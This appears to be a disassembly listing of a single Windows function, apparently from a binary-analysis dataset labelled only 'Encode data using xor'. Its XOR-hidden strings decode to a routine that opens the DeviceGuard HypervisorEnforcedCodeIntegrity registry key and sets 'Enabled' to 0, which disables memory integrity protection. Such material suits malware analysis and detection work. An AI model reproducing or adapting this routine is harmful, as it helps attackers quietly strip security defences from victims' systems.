Function at 0x140003f80
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
sub rsp, 0xc8
movabs rsi, 0x9ab9cbbbef3b2f3a
mov dword [rsp + 0x64], 0
mov qword [rsp + 0x68], rsi
mov rax, qword [rsp + 0x68]
movabs rcx, 0x4b6e65704f676552
xor rcx, rax
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x68], rsi
mov rax, qword [rsp + 0x68]
xor rax, 0x417965
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x38], 2
mov rax, qword [rsp + 0x38]
test rax, rax
je 0x140004007
xor eax, eax
nop word cs:[rax + rax]
mov rcx, qword [rsp + 0x68]
xor qword [rsp + rax*8 + 0x48], rcx
inc rax
mov rcx, qword [rsp + 0x38]
cmp rax, rcx
jb 0x140003ff0
movabs rdi, 0x3233697061766461
mov qword [rsp + 0x68], rsi
mov rax, qword [rsp + 0x68]
xor rax, rdi
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x68], rsi
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x30], 2
mov rax, qword [rsp + 0x30]
test rax, rax
je 0x140004067
xor eax, eax
nop dword [rax]
mov rcx, qword [rsp + 0x68]
xor qword [rsp + rax*8 + 0x38], rcx
inc rax
mov rcx, qword [rsp + 0x30]
cmp rax, rcx
jb 0x140004050
lea rcx, [rsp + 0x38]
call entry0
lea rdx, [rsp + 0x48]
mov rcx, rax
call fcn.140001090
mov qword [rsp + 0x68], rsi
mov rcx, qword [rsp + 0x68]
movabs rdx, 0x435c4d4554535953
xor rdx, rcx
mov qword [rsp + 0x68], rdx
mov qword [rsp + 0x30], rsi
mov rcx, qword [rsp + 0x30]
movabs rdx, 0x6f43746e65727275
xor rdx, rcx
mov qword [rsp + 0x70], rdx
mov qword [rsp + 0x30], rsi
mov rcx, qword [rsp + 0x30]
movabs rdx, 0x7465536c6f72746e
xor rdx, rcx
mov qword [rsp + 0x78], rdx
mov qword [rsp + 0x30], rsi
mov rcx, qword [rsp + 0x30]
movabs rdx, 0x6c6f72746e6f435c
xor rdx, rcx
mov qword [rsp + 0x80], rdx
mov qword [rsp + 0x30], rsi
mov rcx, qword [rsp + 0x30]
movabs rdx, 0x476563697665445c
xor rdx, rcx
mov qword [rsp + 0x88], rdx
mov qword [rsp + 0x30], rsi
mov rcx, qword [rsp + 0x30]
movabs rdx, 0x6563535c64726175
xor rdx, rcx
mov qword [rsp + 0x90], rdx
mov qword [rsp + 0x30], rsi
mov rcx, qword [rsp + 0x30]
movabs rdx, 0x485c736f6972616e
xor rdx, rcx
mov qword [rsp + 0x98], rdx
mov qword [rsp + 0x30], rsi
mov rcx, qword [rsp + 0x30]
movabs rdx, 0x6f73697672657079
xor rdx, rcx
mov qword [rsp + 0xa0], rdx
mov qword [rsp + 0x30], rsi
mov rcx, qword [rsp + 0x30]
movabs rdx, 0x6563726f666e4572
xor rdx, rcx
mov qword [rsp + 0xa8], rdx
mov qword [rsp + 0x30], rsi
mov rcx, qword [rsp + 0x30]
movabs rdx, 0x746e4965646f4364
xor rdx, rcx
mov qword [rsp + 0xb0], rdx
mov qword [rsp + 0x30], rsi
mov rcx, qword [rsp + 0x30]
movabs rdx, 0x797469726765
xor rdx, rcx
mov qword [rsp + 0xb8], rdx
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x58], 0xb
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x140004207
xor ecx, ecx
nop word cs:[rax + rax]
mov rdx, qword [rsp + 0x30]
xor qword [rsp + rcx*8 + 0x68], rdx
inc rcx
mov rdx, qword [rsp + 0x58]
cmp rcx, rdx
jb 0x1400041f0
lea rdx, [rsp + 0x68]
lea r8, [rsp + 0xc0]
mov rcx, 0xffffffff80000002
call rax
mov qword [rsp + 0x68], rsi
mov rax, qword [rsp + 0x68]
movabs rcx, 0x6156746553676552
xor rcx, rax
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x48], rsi
mov rax, qword [rsp + 0x48]
movabs rcx, 0x41784565756c
xor rcx, rax
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x38], 2
mov rax, qword [rsp + 0x38]
test rax, rax
je 0x140004287
xor eax, eax
nop
mov rcx, qword [rsp + 0x48]
xor qword [rsp + rax*8 + 0x68], rcx
inc rax
mov rcx, qword [rsp + 0x38]
cmp rax, rcx
jb 0x140004270
mov qword [rsp + 0x48], rsi
mov rax, qword [rsp + 0x48]
xor rax, rdi
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x38], rsi
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], 2
mov rax, qword [rsp + 0x30]
test rax, rax
je 0x1400042e7
xor eax, eax
nop word cs:[rax + rax]
mov rcx, qword [rsp + 0x38]
xor qword [rsp + rax*8 + 0x48], rcx
inc rax
mov rcx, qword [rsp + 0x30]
cmp rax, rcx
jb 0x1400042d0
lea rcx, [rsp + 0x48]
call entry0
lea rdx, [rsp + 0x68]
mov rcx, rax
call fcn.140001090
mov qword [rsp + 0x38], rsi
mov rcx, qword [rsp + 0x38]
movabs rdx, 0x64656c62616e45
xor rdx, rcx
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], 1
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x140004357
xor ecx, ecx
nop word cs:[rax + rax]
mov rdx, qword [rsp + 0x38]
xor qword [rsp + 0x58], rdx
inc rcx
mov rdx, qword [rsp + 0x30]
cmp rcx, rdx
jb 0x140004340
mov rcx, qword [rsp + 0xc0]
lea rdx, [rsp + 0x64]
mov qword [rsp + 0x20], rdx
mov qword [rsp + 0x28], 4
lea rdx, [rsp + 0x58]
xor r8d, r8d
mov r9d, 4
call rax
mov qword [rsp + 0x68], rsi
mov rax, qword [rsp + 0x68]
movabs rcx, 0x6e614865736f6c43
xor rcx, rax
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x48], rsi
mov rax, qword [rsp + 0x48]
xor rax, 0x656c64
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x38], 2
mov rax, qword [rsp + 0x38]
test rax, rax
je 0x1400043e7
xor eax, eax
nop dword [rax]
mov rcx, qword [rsp + 0x48]
xor qword [rsp + rax*8 + 0x68], rcx
inc rax
mov rcx, qword [rsp + 0x38]
cmp rax, rcx
jb 0x1400043d0
mov qword [rsp + 0x48], rsi
mov rax, qword [rsp + 0x48]
movabs rcx, 0x32336c656e72656b
xor rcx, rax
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x38], rsi
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], 2
mov rax, qword [rsp + 0x30]
test rax, rax
je 0x140004447
xor eax, eax
nop dword [rax]
mov rcx, qword [rsp + 0x38]
xor qword [rsp + rax*8 + 0x48], rcx
inc rax
mov rcx, qword [rsp + 0x30]
cmp rax, rcx
jb 0x140004430
lea rcx, [rsp + 0x48]
call entry0
lea rdx, [rsp + 0x68]
mov rcx, rax
call fcn.140001090
mov rcx, qword [rsp + 0xc0]
call rax
nop
add rsp, 0xc8
pop rdi
pop rsi
ret